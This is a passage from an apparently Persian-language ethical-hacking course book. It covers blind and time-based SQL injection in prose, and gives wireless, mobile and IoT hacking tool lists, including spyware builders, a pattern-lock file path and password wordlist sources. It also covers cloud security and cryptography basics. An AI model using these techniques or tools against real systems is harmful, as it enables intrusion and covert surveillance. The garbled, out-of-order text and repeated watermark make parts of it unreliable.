مثال نام جداول به صورت رشته در پایگاه داده ذخیره می شود و هکر دستور خود را به 

ه یک، اولین جدول از پایگاه داده را به این صورت وارد میکند که همراه با چاپ خبر شمار

نوع عددی تبدیل کن و از آن جایی که طبق گرامر زبان  پایگاه داده این دستور خطا 

را به نوع عددی  Userاست، در خطای برگشتی به هکر پاسخ مید هد که نمیتواند جدول 

 آید.تبدیل کند و در این حالت نام جدول اول پایگاه داده توسط هکر بدست می 
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می باشد که به حمله ی کور معروف میباشد  Boolean Baseاز نوع  SQLiحالت سوم     

در واقع هکر هیچ گونه خروجی از کوئری خود نمیبیند فقط با استفاده از کلمه کلیدی 

And  در خروجی دستورات خود می شود وکامل بارگذاری شدن صفحه وبسایت متوجه

ل کردن خروجی دستورات خود را میبیند یعنی از حالت ساده هکراز دیتابیس با سوا

پایگاه داده این سوال را می پرسد :  آیا خبر شماره یک در جدول وجود دارد ؟ پایگاه داده 

به انتهای ورودی پایگاه  Andقاعدتا در پاسخ میگوید بله، حال هکر با اضافه کردن کلمه 

روع میشود. پایگاه داده بررسی ش Aداده میگوید اولین جدول از پایگاه داده با حرف 

شروع شود خبر شماره یک را نمایش میدهد و  Aمیکند اگر اولین جدولش با حرف 

نباشد چون خروجی  Aوبسایت به درستی بارگذاری میشود اما اگرحرف اول دیتابیس 

میشود وبسایت به صورت ناقص بارگذاری میشود و هکر به این شکل  Falseدستور 

 میباشد SQLiستورات خود را متوجه شود که جزو انواع زمان بر در میتواند خروجی د

 

میباشد که زمان برترین و سخت ترین حالت  Time Baseاز نوع  SQLiحالت چهارم     

SQLi  میباشد که مشابه با حالتBoolean  می باشد ولی با این تفاوت که هکر برای

مان  اجرای دستور را بدهد. در ابتدا متوجه شدن از خروجی خود نیاز دارد به پایگاه داده ز

هکر وبسایت مورد نظر را به صورت عادی بارگذاری میکند و زمان بارگذاری آن را بدست 

 Wait forیا  MySQLبرای  sleepمیاورد، سپس به با توجه به نوع پایگاه داده دستور 

delay  برایMSSQL داده  زمانی که در مرحله قبل بدست آورده است را به پایگاه
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میدهد.به طور مثال هکر در کوئری خود میگوید خبر شماره یک نمایش داده شود و 

شروع میشود یا خیر؟، اگر  Aثانیه بررسی شود اولین جدول با حرف  0اینکه در مدت 

سایت در این مدت زمان به صورت کامل بارگذاری شود یعنی اولین جدول از پایگاه داده 

 است. Falseر بیشتر از این مقدار زمان ببرد یعنی خروجی شروع می شود و اگ Aبا حرف 

 

 راه مقابله:

 کنترل ورودی کاربر 

 استفاده نکردن از توابع آسیب پذیر در زبان برنامه نویسی به تنهایی 
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 شانزدهمفصل 

Wireless Hack 
 

در برخی مواقع هکر خارج از سازمان شما است و تنها چیزی که در اختیار دارد نام     

 بیسیم سازمان می باشد که در این مرحله بایستی به شبکه بی سیم نفوذ کند. شبکه

 برای امنیت شبکه ی بیسیم موارد زیر رعایت شود:

 Encryption (wpa2-AES) 

 Disable wps 

 Mac Filtering 

 Hide SSID 

 Disable DHCPServer (port 67,68) 

 

 سخت افزار مورد نیاز برای هک وایرلس

 ه از کارت شبکه ای کpromiscuous  پشتیبانی کند 

  9توان کارت شبکهdb باشد 

 

 فعال نیست: wpsابزار برای زمانی که 

 Aircrack –ng 

 Gerix 

 Fern 
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 (attack)پسورد لیست مناسب برای دیکشنری مهاجم 

 Wirelesshack.org/wpa-wpa2-wordlist-dictionaries.html 

 نکته:

 میشودتفاده اس macchangerاز ابزار  Macبرای تغیر 
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 هفدهمفصل 

Mobile Hack 
 

 پسوند فایل زبان برنامه نویسی نوع سیستم عامل نام سیستم عامل برند

Google Android جاوا لینوکس apk 

  َApple IOS یونیکس C , C++ Ipa 

Blackberry RIM یونیکس C bb 

 

 تهدیدات موبایل:

 دسترسی فیزیکی 

 برداشتن رمز پترن 

 د استفادهابزارهای مور 

 Adbshell 

 Driver mobiles 

 /data/system/gesture.key 

 Malware 

  سایت های ساختMalware  حرفه ای 

  برای اندرویدtipsy.net 

  برای اپلflexispy.net 

 Exploit 

 سایت اکسپلویت های موبایل 

 Mwrinfsecurity.com 

 Weak Communication 

 ابزارهایی برای روت کردن گوشی
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  اندرویدiroot 

  اپلiboot 

 

 ابزار های ساخت فایل مخرب

 Droidsheep 

 Faceniff 

 Dendroid 
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 هجدهمفصل 

IOT Hack 

 

 

 :IOTحوزه فعالیت 

 مدیریت انرژی 

 مدیریت هوشمند ساختمان 

 مدیای هوشمند 

 صنعت خودرو 

 سخت افزار

 آردوینو 

 رزبری پای 

 اورنج پای 

 

www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net
www.Hojat.net www.Hojat.net www.Hojat.net www.Hojat.net

https://www.Hojat.net


 نرم افزار

 لینوکس 

  71ویندوز 

 RIOT 

 Windrive 

 Googlebrillo 

 

 IOTتست نفوذ 

 Hardware Analysis 

 Firmware / OS 

 Wireless Analysis 

 Mobile Application 

 Web Application 

 Cloud Service and infrastructure 

 

 IOTمراحل تست آسیب پذیری 

 Insecure web interface 

 Default credential 

 SQLi, Command Injection, Code execution 

 Broken access control 

 Insufficient  authentication & authorization 

 Privilege escalation 

 Poorly protected credential 

 Insecure network service 

 BOF 

 DOS 

 Open port 

 Lack of transport Encryption 

 Privacy Concerns 

 Insecure Mobile interface 

 Insecure software / firmware 

 Poor physical security 

 USB access 

 Remote storage 
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 نکته:

  سایت مرجع تست نفوذ IOT  Attify.com 

 ابزار:

 Gattacker 

 NRFConnect 
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 نوزدهمفصل 

Cloud computing 
 

زمانیکه بدون نیاز به سخت افزار سنگین یا نرم افزار های مختلف بتوان از سرویس ها     

 .شده استبهره برده  Cloud computingبدون شک از  کرداستفاده 

 

 

 

 

 

 :Cloudانواع 
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 Infrastructure as a service (Iaas) 

o  سخت افزار را ازcloud .دریافت می نماییم 

 Platform as a service (Paas) 

o  سیستم عامل را ازCloud  دریافت می نماییم. مثالVPS 

 Software as a service (Saas) 

o  نرم افزار را ازCloud  کنیم. مثال: دریافت میOffice 

 

 Cloud deploymentروش های 

 Private : single organization 

 Public : public use 

 Community : server organization  مثال: ارگان های نظامی 

 Hybrid  بخشی از سرویس :private  و بخش دیگر آنpublic  یاcommunity 

 است

 Cloud computingتهدیدات 

 DoS & DDoS 

 Network Sniff 

 Hardware failure 

 Authentication attack 

 Web attack 

 Etc… 

 

 Cloudلایه های امن سازی 

 Application: waf, scanner, sdlc 

 Information: DLP, monitoring, encryption 

 Management: patch management, config management 

 Network: NIDS, NIPS, Firewall 

 Storage: log management, integrity 

 Physical: CCTV, Guard 
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 بیستمفصل 

Cryptography 
  

 ( می شود.cryptographyدر این فصل اشاره ای اجمالی به مبحث رمزنگاری )    

ارتباط بین سیستم ها و شبکه تحت هر شرایطی باید امن باشد و اطلاعات ردوبدل     

رت لو رفتن اطلاعات، داده ها  شده بایستی به صورت رمز شده جابجا شود که در صو

 بلااستفاده شوند .

 در ذیل برای درک بهتر فصل جاری چند مثال بررسی شده است.    

حال برای  مثال اول: فرض بر این کاربر میخواهد آخرین نسخه لینوکس را دانلود کند    

اینکه فرد متوجه شود آخرین نسخه ای  که در سایت های دیگر قرار دارد با آخرین 

موجود  در سایت اصلی یکسان )فایل مخربی به آن اضافه نشده( است باید از نسخه 

فایل در سایت های  Hashفایل را دریافت کند و سپس آن را با  Hashطریق سایت اصلی 

 دیگر مقایسه کند که اگر یکسان بوده باشد یعنی فایل بدون دستکاری است.
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را به همکار خود منتقل کند اما طبق  مثال دوم: در برخی مواقع فرد قصد دارد فایلی    

( شده باشد برای این منظور encryptسیاست سازمان، فایل ها میباست حتما رمزنگاری )

 از ابزارهای معرفی شده استفاده می شود که فایل بدون رمز عبور قابل اجرا شدن است.

و   encryptبینبا تفاوت   cryptographyهمچنین در دو مثال بالا علاوه بر مفهوم     

Hash آشنا شدیم 

 اهداف:

 ( محرمانگیconfidentiality) 

o  Encryption 

 Algorithm 

 ( متقارنsymmetrical) 

 ( نامقارنasymmetrical) 

 ( سلامتintegrity) 

o Hashing 

 Algorithm 

 MD5 

 SHA 

 ( عدم انکارnone Repudiation) 

o  زند.یعنی کسی نتواند کاری را که انجام داده است از آن سر باز 
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CA : Certificate Authority 

  وظیفه سرورCA تولید و مدیریت سرتیفیکت است 

 

PKI: Public Key Infrastructure 

  همانRoot CA است 

 

 

 

 

 

 

 

 

 :encryptionیی برای ابزارها

 PGP 

 Crypto heaven 

 Axcrypt 
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